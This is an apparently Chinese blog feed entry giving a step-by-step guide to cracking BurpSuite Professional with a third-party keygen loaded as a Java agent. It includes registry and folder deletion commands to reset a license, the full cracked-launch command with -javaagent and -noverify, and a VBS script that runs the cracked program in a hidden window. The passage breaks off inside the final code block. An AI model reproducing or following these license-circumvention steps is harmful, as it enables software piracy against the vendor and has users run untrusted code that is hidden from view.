<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/categories/%E5%B7%A5%E5%85%B7/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/categories/%E5%B7%A5%E5%85%B7/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Sun, 21 Jan 2024 00:41:31 +0800</lastBuildDate><item><title>BurpSuite Pro 全版本下载与破解-最新版BurpSuite Pro</title><link>https://h4cker.zip/6e66e7/</link><pubDate>Sun, 21 Jan 2024 00:41:31 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/6e66e7/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>上一次BurpSuite的分享还是在2020年</p>
<p><img
  src="/6e66e7/BP20231212crack_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1185" height="249"
/>
</p>
<p>由于CSDN有防盗链，我自己的博客都无法访问这篇博文的图片了</p>
<p>至于为什么再写一次，是因为我看到群里这张图：</p>
<img src="./bptwitter_crack.webp" style="width:50%;" />
<p>哈哈哈，笑死了</p>
<p>所以我想看看现在BP更新到什么版本了，顺便给各位分享一下</p>
<p><strong>本文用到的所有工具在文末链接里</strong></p>
<h2 id="下载">下载<a class="anchor" href="#下载">#</a></h2>
<p>今日是2024/1/21，BP官网更新到了2023.12.1.2版本，官网所有Professional版本在这个网址可以看到：</p>
<p><a
  href="https://portswigger.net/burp/releases#professional" rel="nofollow noopener noreferrer" target="_blank"
  >https://portswigger.net/burp/releases#professional<span style="user-select:none"> ↗</span></a
>
</p>
<p>注意：往后的新版本也可以使用我链接里的破解工具，你可以选择任何版本的BP进行破解，但要注意BP所需的JDK版本。</p>
<p>我们下载Burp Suite Professional  JAR版本，校验码如下：</p>
<blockquote>
<p>SHA256:7f83dbd23a2bb81f1bfe60302a570cfd32da1b84f5dfd8cdd01374c26e202779</p>
<p>MD5: 3974f60c0bfe3fcad76fe8329625f32c</p>
</blockquote>
<p>当然你也可以到我的链接里下载</p>
<p>下载完成后，有 <code>burpsuite_pro_v2023.12.1.2.jar</code>和<code>burploader.jar</code></p>
<h2 id="破解">破解<a class="anchor" href="#破解">#</a></h2>
<p>运行BP需要java环境，我的环境是java 16.0.2，不过这个好像java11也行，我没试过</p>
<p>打开cmd进入到这两个文件所在的文件夹，输入 <code>java -jar burploader.jar</code></p>
<p>出现</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">错误</span><span class="err">:</span> <span class="n">加载主类</span> <span class="n">com</span><span class="p">.</span><span class="py">h3110w0r1d</span><span class="p">.</span><span class="py">burploaderkeygen</span><span class="p">.</span><span class="py">KeygenForm</span> <span class="n">时出现</span> <span class="n">LinkageError</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">        <span class="n">java</span><span class="p">.</span><span class="py">lang</span><span class="p">.</span><span class="n">UnsupportedClassVersionError</span><span class="err">:</span> <span class="n">com</span><span class="p">/</span><span class="n">h3110w0r1d</span><span class="p">/</span><span class="n">burploaderkeygen</span><span class="p">/</span><span class="n">KeygenForm</span> <span class="n">has</span> <span class="n">been</span> <span class="n">compiled</span> <span class="n">by</span> <span class="n">a</span> <span class="n">more</span> <span class="n">recent</span> <span class="n">version</span> <span class="n">of</span> <span class="n">the</span> <span class="n">Java</span> <span class="n">Runtime</span> <span class="p">(</span><span class="n">class</span> <span class="n">file</span> <span class="n">version</span> <span class="mf">62.0</span><span class="p">),</span> <span class="n">this</span> <span class="n">version</span> <span class="n">of</span> <span class="n">the</span> <span class="n">Java</span> <span class="n">Runtime</span> <span class="n">only</span> <span class="n">recognizes</span> <span class="kd">class</span><span class="w"> </span><span class="nb">file </span><span class="n">versions</span> <span class="n">up</span> <span class="n">to</span> <span class="mf">60.0</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">powershell</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>卧槽，需要class为62的版本，我java 16都不够，那安装java18吧（我不喜欢奇数）</p>
<p>安装好，打开cmd进入到这两个文件所在的文件夹，输入 <code>java -jar burploader.jar</code></p>
<p>注意，如果破解期间遇到错误，可能是因为你之前破解过，所以需要清除许可证，命令如下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">rd /s /q <span class="s2">&#34;%userprofile%\AppData\Roaming\BurpSuite\&#34;
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="s2">reg delete &#34;</span>HKEY_CURRENT_USER<span class="se">\S</span>OFTWARE<span class="se">\J</span>avaSoft<span class="se">\P</span>refs<span class="se">\b</span>urp<span class="s2">&#34; /f</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>当然，我写了一键清除许可证脚本，只需要双击就行，放在云盘了</p>
<p>执行<code>java -jar burploader.jar</code>弹出加载器窗口</p>
<p>点击新窗口里的“Run”</p>
<p>（后注：如果闪退或打不开，请复制文本框里的命令到cmd执行，就能看到报错。很大概率是java版本不够，目前最新的BP已经是class65，也就是JDK 21）</p>
<p><img
  src="/6e66e7/BP20231212crack_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="984" height="668"
/>
</p>
<p>点击I Accept</p>
<p><img
  src="/6e66e7/BP20231212crack_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="731" height="625"
/>
</p>
<p>将加载器窗口里的Lisense复制到BP窗口里，Ctrl A，Ctrl C ，Ctrl V就行</p>
<p><img
  src="/6e66e7/BP20231212crack_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1710" height="611"
/>
</p>
<p>点击Next后，点击Manual activation</p>
<p><img
  src="/6e66e7/BP20231212crack_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="731" height="625"
/>
</p>
<p>点击Copy request，将这里的文本复制到加载器窗口的Activation request里</p>
<p><img
  src="/6e66e7/BP20231212crack_6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1705" height="616"
/>
</p>
<p>然后加载器窗口的Activation Response就会出现文本</p>
<p><img
  src="/6e66e7/BP20231212crack_7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="984" height="617"
/>
</p>
<p>将此文本复制到，BP的最下面空白文本框，点击Next</p>
<p><img
  src="/6e66e7/BP20231212crack_8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1708" height="621"
/>
</p>
<p>点击Finish，破解成功</p>
<p><img
  src="/6e66e7/BP20231212crack_9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1169" height="827"
/>
</p>
<p>如果抓包发现光标错位，可以在设置里找到字体大小，调整字体大小至光标正常</p>
<p><img
  src="/6e66e7/BP20231212crack_10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1836" height="1116"
/>
</p>
<p>建议大家调整字体为Consolas，看起来非常美观</p>
<p><img
  src="/6e66e7/BP20231212crack_11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1489" height="762"
/>
</p>
<h2 id="快捷方式-无窗口">快捷方式-无窗口<a class="anchor" href="#快捷方式-无窗口">#</a></h2>
<p>但是关闭BP后，仍需要重新破解，不过有解决方法</p>
<p>加载器窗口的Run，对应的命令可以直接启动BP，破解过则无需破解</p>
<p><img
  src="/6e66e7/BP20231212crack_12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="984" height="617"
/>
</p>
<p>这行命令如下（你我电脑路径不同）：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="ln">1</span><span class="cl"><span class="s2">&#34;C:\Java\bin\java.exe&#34;</span> <span class="s2">&#34;--add-opens=java.desktop/javax.swing=ALL-UNNAMED&#34;</span> <span class="s2">&#34;--add-opens=java.base/java.lang=ALL-UNNAMED&#34;</span> <span class="s2">&#34;--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED&#34;</span> <span class="s2">&#34;--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED&#34;</span> <span class="s2">&#34;--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED&#34;</span> <span class="s2">&#34;-javaagent:burploader.jar&#34;</span> <span class="s2">&#34;-noverify&#34;</span> <span class="s2">&#34;-jar&#34;</span> <span class="s2">&#34;C:\Users\Tajang\Downloads\演示\burpsuite_pro_v2023.12.1.2.jar&#34;</span> </span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">powershell</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>将引号等等都去掉，如下</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">C:</span><span class="p">\</span><span class="n">Java</span><span class="p">\</span><span class="n">bin</span><span class="p">\</span><span class="n">java</span><span class="p">.</span><span class="py">exe</span> <span class="p">-</span><span class="n">-add-opens</span><span class="p">=</span><span class="n">java</span><span class="p">.</span><span class="n">desktop</span><span class="p">/</span><span class="n">javax</span><span class="p">.</span><span class="n">swing</span><span class="p">=</span><span class="nb">ALL-UNNAMED</span> <span class="p">-</span><span class="n">-add-opens</span><span class="p">=</span><span class="n">java</span><span class="p">.</span><span class="n">base</span><span class="p">/</span><span class="n">java</span><span class="p">.</span><span class="n">lang</span><span class="p">=</span><span class="nb">ALL-UNNAMED</span> <span class="p">-</span><span class="n">-add-opens</span><span class="p">=</span><span class="n">java</span><span class="p">.</span><span class="n">base</span><span class="p">/</span><span class="n">jdk</span><span class="p">.</span><span class="py">internal</span><span class="p">.</span><span class="py">org</span><span class="p">.</span><span class="py">objectweb</span><span class="p">.</span><span class="n">asm</span><span class="p">=</span><span class="nb">ALL-UNNAMED</span> <span class="p">-</span><span class="n">-add-opens</span><span class="p">=</span><span class="n">java</span><span class="p">.</span><span class="n">base</span><span class="p">/</span><span class="n">jdk</span><span class="p">.</span><span class="py">internal</span><span class="p">.</span><span class="py">org</span><span class="p">.</span><span class="py">objectweb</span><span class="p">.</span><span class="py">asm</span><span class="p">.</span><span class="n">tree</span><span class="p">=</span><span class="nb">ALL-UNNAMED</span> <span class="p">-</span><span class="n">-add-opens</span><span class="p">=</span><span class="n">java</span><span class="p">.</span><span class="n">base</span><span class="p">/</span><span class="n">jdk</span><span class="p">.</span><span class="py">internal</span><span class="p">.</span><span class="py">org</span><span class="p">.</span><span class="py">objectweb</span><span class="p">.</span><span class="py">asm</span><span class="p">.</span><span class="n">Opcodes</span><span class="p">=</span><span class="nb">ALL-UNNAMED</span> <span class="n">-javaagent:burploader</span><span class="p">.</span><span class="py">jar</span> <span class="n">-noverify</span> <span class="n">-jar</span> <span class="s2">&#34;C:\Users\Tajang\Downloads\演示\burpsuite_pro_v2023.12.1.2.jar&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">powershell</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>在cmd里直接运行这行命令即可打开已破解的BP</p>
<p>注意，你要复制你的加载器窗口里的，<strong>你我路径不同</strong>，</p>
<p>还有当你改变加载器位置或者bp位置，这个命令会变动，要保证bp位置与加载器在同一文件夹</p>
<p>由于我这里使用了<strong>绝对路径</strong>所以最后bp位置那里保留而引号，采用相对路径则不需要引号</p>
<p><strong>在cmd里运行这行命令，是可以直接打开bp的，无需再次破解</strong></p>
<p>为了省事，我们写一个脚本，注意我这里用的<strong>相对路径</strong></p>
<p>在同文件夹内新建txt文件，输入以下代码</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-vb" data-lang="vb"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">set</span> <span class="n">ws</span><span class="o">=</span><span class="n">createobject</span><span class="p">(</span><span class="s">&#34;wscript.shell&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">ws</span><span class="p">.</span><span class="n">Run</span> <span class="s">&#34;执行的命令&#34;</span><span class="p">,</span><span class="n">0</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">vb</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>将执行的命令添加到对应位置</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-vb" data-lang="vb"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">set</span> <span class="n">ws</span><span class="o">=</span><span class="n">createobject</span><span class="p">(</span><span class="s">&#34;wscript.shell&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">ws</span><span class="p">.</span><span class="n">Run</span> <span class="s">&#34;C:\Java\bin\java.exe --add-opens=java.desktop/javax.swing=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED --add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED --add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED -javaagent:burploader.jar -noverify -jar burpsuite_pro_v2023.12.1.2.jar&#34;</span><span class="p">,</span><span class="n">0</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">vb</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
